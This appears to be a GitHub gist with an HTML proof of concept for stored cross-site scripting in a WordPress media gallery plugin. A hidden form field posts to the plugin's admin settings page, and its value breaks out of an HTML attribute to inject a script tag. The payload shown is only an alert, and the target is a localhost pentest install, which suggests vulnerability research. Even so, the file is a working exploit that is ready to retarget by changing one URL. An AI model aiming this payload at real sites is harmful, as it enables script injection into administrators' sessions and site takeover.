Created
December 20, 2013 21:15
-
-
Save NikolaiT/8061656 to your computer and use it in GitHub Desktop.
xss POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>XSS POC</title> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width"> | |
</head> | |
<body> | |
<div> | |
<!-- You need to change the URL here --> | |
<form id="xss-test" action="http://localhost/~nikolai/wordpress_pentest/wordpress/wp-admin/index.php?page=settings&post_type=easymediagallery" method="POST"> | |
<input type="hidden" name="action" value="save" /> | |
<input type="hidden" name="easymedia_style_pattern" value='pattern-01.png" name="easymedia_style_pattern" id="easymedia_style_pattern" /><script>alert("This wont get executed");</script>' /> | |
<input type="Submit" value="Submit" /> | |
</form> | |
</div> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment